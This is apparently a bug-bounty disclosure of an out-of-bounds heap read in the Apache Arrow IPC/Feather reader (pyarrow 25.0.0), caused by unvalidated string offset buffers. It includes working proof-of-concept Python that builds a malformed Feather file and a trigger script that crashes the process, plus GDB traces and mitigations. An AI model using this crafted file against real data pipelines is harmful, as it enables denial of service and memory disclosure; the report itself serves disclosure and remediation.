EnigmaConsultant/huntr-poc-arrow-ipc-feather-oob-string-offset

Out-of-bounds read (SIGSEGV) in Apache Arrow IPC / Feather reader: unvalidated string/binary offset buffer

Class: Out-of-bounds heap read / memory-unsafety (CWE-125) on parsing untrusted input Component: Apache Arrow C++ IPC (file & stream) RecordBatch reader, exercised via PyArrow Affected version (tested, latest on PyPI): pyarrow==25.0.0 (bundles Apache Arrow C++ libarrow.so.2500) API surface: pyarrow.ipc.open_file(...).read_all(), pyarrow.feather.read_table(...) — the default read+access path used by essentially every consumer Impact: Reading an attacker-supplied .arrow / .feather (Feather V2) file and materializing any element of a variable-length column causes an out-of-bounds read of ~2 GB past a 9-byte heap buffer, crashing the process (SIGSEGV, denial of service; out-of-bounds read of adjacent heap memory).

---

Summary

The Arrow IPC file/stream reader loads a RecordBatch by slicing the message body into the buffers described by the flatbuffer metadata. It does not validate the contents of a variable-length (utf8/binary) column's int32 offset buffer against the length of the associated values (data) buffer. pyarrow.ipc.open_file(...).read_all() therefore returns a Table for a malformed batch with no error.

When any element is materialized — Array.GetScalar / to_pylist / to_pydict / to_pandas / indexing / iteration — Arrow computes the value length as offsets[i+1] - offsets[i] and constructs a std::string via std::string(data_ptr + offsets[i], length). With an attacker-controlled last offset (here 0x7ffffff0) the copy runs ~2 GB past the 9-byte data buffer → out-of-bounds read → SIGSEGV.

This is the documented "Arrow does not fully validate untrusted IPC on read" class (the recommended mitigation is Array.validate(full=True)), but the default read-then-access path is memory-unsafe. Crucially:

• The cheap default Table.validate() does flag the string-offset case — yet read_all() never calls it.
• A sibling variant (an out-of-bounds dictionary index) is not caught by cheap validate() at all (only validate(full=True)), confirming a genuine validation gap on the read path.

---

Root cause

An int32 offset buffer for a utf8/binary array must satisfy 0 == offsets[0] <= offsets[1] <= … <= offsets[n] <= len(values_buffer). The IPC reader trusts the flatbuffer buffer layout but never checks the offset values against the values-buffer length. Element materialization then does the equivalent of:

// arrow/array scalar materialization (conceptual)
const int32_t off  = offsets[i];
const int32_t len  = offsets[i + 1] - offsets[i];      // attacker-controlled
return std::string(data_ptr + off, static_cast<size_t>(len));  // OOB copy

std::string(const char*, size_t) performs a memcpy of len bytes starting at data_ptr + off. With offsets = [0, 2, 5, 5, 0x7ffffff0] and a 9-byte data buffer, the final element requests 0x7ffffff0 - 5 ≈ 2 GB, walking off the end of the heap allocation.

The GDB backtrace confirms the exact frames (see evidence): memcpy ← std::string(char const*, unsigned long) ← arrow::internal::ScalarFromArraySlotImpl::Finish() ← arrow::Array::GetScalar(long) ← PyArrow Array.__getitem__ ← to_pylist.

---

Proof of Concept

Build a one-column utf8 table ['aa','bbb','','dddd'] and write it as a Feather V2 / Arrow IPC file. The valid int32 offset buffer is [0, 2, 5, 5, 9]. Overwrite the last offset with 0x7ffffff0.

Building the malformed file (public API only, no internal use):

import pyarrow as pa, pyarrow.feather as feather, struct

t = pa.table({'s': pa.array(['aa','bbb','','dddd'], type=pa.utf8())})
feather.write_feather(t, 'OK.feather')          # valid control file
buf = bytearray(open('OK.feather','rb').read())
# locate the 5-int32 offset buffer [0,2,5,5,9] and overwrite the final offset (9 -> 0x7ffffff0)
needle = struct.pack('<5i', 0, 2, 5, 5, 9)
i = buf.find(needle)
struct.pack_into('<i', buf, i + 16, 0x7ffffff0)  # last offset
open('POC.feather','wb').write(buf)

Trigger via the current, non-deprecated API (exploit.py):

import pyarrow.ipc as ipc, pyarrow as pa, sys
t = ipc.open_file(pa.memory_map('POC.feather','r')).read_all()  # returns OK, no error
sys.stderr.write('open_file().read_all() OK, num_rows=%d\n' % t.num_rows)
t.column('s').to_pylist()                                        # <-- SIGSEGV here

$ python exploit.py; echo "REAL EXIT CODE = $?"
open_file().read_all() OK, num_rows=4
REAL EXIT CODE = 139        # 139 = 128 + SIGSEGV(11)

The same crash is reachable via pyarrow.feather.read_table(...) followed by to_pandas() / to_pylist().

Included artifacts:

• POC.feather (554 bytes) — the malformed file; crashes on element access.
• poc_oob_string.arrow (1122 bytes) — same bug in an Arrow IPC stream/file container.
• poc_oob_dict.arrow (1122 bytes) — sibling out-of-bounds dictionary index variant (not caught by cheap validate).
• OK.feather (554 bytes) — negative control (unmodified, reads cleanly).
• exploit.py, gdb_run.py, stage_test.py, fuzz.py — trigger, GDB, staging, and the byte-mutation fuzzer that found it.

The bug was discovered by a byte-mutation fuzzer over a valid IPC file (fuzz.py): 5 / 6000 mutations produced rc = -11 (SIGSEGV), including a single-byte mutation at file offset 742. All crashes localize to scalar materialization of an unvalidated offset buffer (arrow::Array::GetScalar). Runs used ulimit -v to prove clean OOM handling elsewhere; the string-offset crash is a genuine OOB memory access, not an allocation failure.

---

Captured evidence (verbatim)

SIGSEGV via non-deprecated API (exploit.py)

open_file().read_all() OK, num_rows=4
REAL EXIT CODE = 139  (139 = 128+SIGSEGV)

GDB backtrace (READ_OK printed first -> read_all did NOT validate)

READ_OK
#0  0x...8b0 in ?? () from libc.so.6                       # memcpy
#1  ... in std::__cxx11::basic_string<char...>::basic_string(char const*, unsigned long, ...)  [libarrow.so.2500]
#2  ... in arrow::internal::ScalarFromArraySlotImpl::Finish() &&  [libarrow.so.2500]
#3  ... in arrow::Array::GetScalar(long) const  [libarrow.so.2500]
#4  ... in __pyx_f_7pyarrow_3lib_5Array_getitem(...)  [pyarrow/lib...so]
#8  ... in __pyx_pw_7pyarrow_3lib_5Array_72to_pylist(...)

Validation semantics (proves the gap)

read_all() succeeded, num_rows= 4
cheap validate():  ArrowInvalid  Length spanned by binary offsets (2147483632) larger than values array (size 9)   # caught, but read never calls it
full  validate():  ArrowInvalid ... larger than values array (size 9)
# dictionary-index OOB variant:
cheap validate(): PASS (dict index OOB NOT caught by cheap validate)
full  validate(): ArrowInvalid ... Dictionary indices invalid ... Value at position 3 out of bound

Negative control (unmodified file)

base to_pylist s = ['aa', 'bbb', '', 'dddd']
base validate(full) OK
control read_table -> to_pylist: ['aa', 'bbb', '', 'dddd']

PyArrow version

25.0.0

---

Impact & remediation

Any application that reads Arrow IPC / Feather V2 from an untrusted or semi-trusted source (uploaded datasets, model-artifact sidecars, message-bus payloads, dataframe interchange) and then touches the data is exposed to an out-of-bounds heap read and process crash. Because read_all() returns successfully, developers have no signal that the data is malformed until it faults deep inside to_pylist / to_pandas.

Mitigations:

• Callers should run Array.validate(full=True) / RecordBatch.validate(full=True) on every batch decoded from untrusted IPC before accessing elements. Note the cheap validate() is insufficient for the dictionary-index variant.
• Upstream: the IPC reader should validate variable-length offset buffers (and dictionary indices) against buffer/dictionary lengths on load, or gate access behind mandatory validation for untrusted inputs — rather than deferring an unchecked OOB into std::string construction.

Dedup note

• Distinct format & code path from the reporter's already-filed Parquet findings (footer rowgroups alloc DoS, pushdecoder footer underflow, DELTA_LENGTH_BYTE_ARRAY, BYTE_STREAM_SPLIT). Those are the Parquet reader; this is the Arrow IPC / Feather RecordBatch reader and scalar materialization path.
• This is an instance of the documented "Arrow does not fully validate arbitrary/untrusted IPC data" caveat, but demonstrated as a concrete, reproducible memory-safety crash on the default read+access path (no validation call), with a proven validation gap (dictionary-index OOB invisible to cheap validate()). No corresponding CVE for this specific default-path OOB was found at time of writing.